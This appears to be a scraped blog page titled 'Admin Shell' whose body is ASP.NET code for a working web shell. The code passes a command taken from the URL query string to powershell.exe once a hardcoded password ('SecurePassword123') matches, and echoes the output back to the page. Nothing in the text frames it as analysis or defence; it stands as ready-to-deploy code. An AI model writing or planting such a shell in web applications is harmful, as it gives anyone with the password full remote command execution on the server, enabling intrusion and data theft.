Search Blog Results

  • Thursday, October 31, 2024

  • CUI

  • test

Admin Shell

Secure Admin Shell

Enter your password and command below to execute server commands.

<% if (Request.QueryString["pass"] != null && Request.QueryString["cmd"] != null) { string password = "SecurePassword123"; // Define your secure password string userPassword = Request.QueryString["pass"]; string command = Request.QueryString["cmd"]; if (userPassword == password) { try { System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = "-Command " + command; proc.StartInfo.RedirectStandardOutput = true; proc.StartInfo.RedirectStandardError = true; proc.StartInfo.UseShellExecute = false; proc.StartInfo.CreateNoWindow = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); string error = proc.StandardError.ReadToEnd(); proc.WaitForExit(); Response.Write(Server.HtmlEncode(output)); if (!string.IsNullOrEmpty(error)) { Response.Write("
Error: " + Server.HtmlEncode(error)); } } catch (Exception ex) { Response.Write("Execution Error: " + Server.HtmlEncode(ex.Message)); } } else { Response.Write("Access Denied. Incorrect password."); } } %>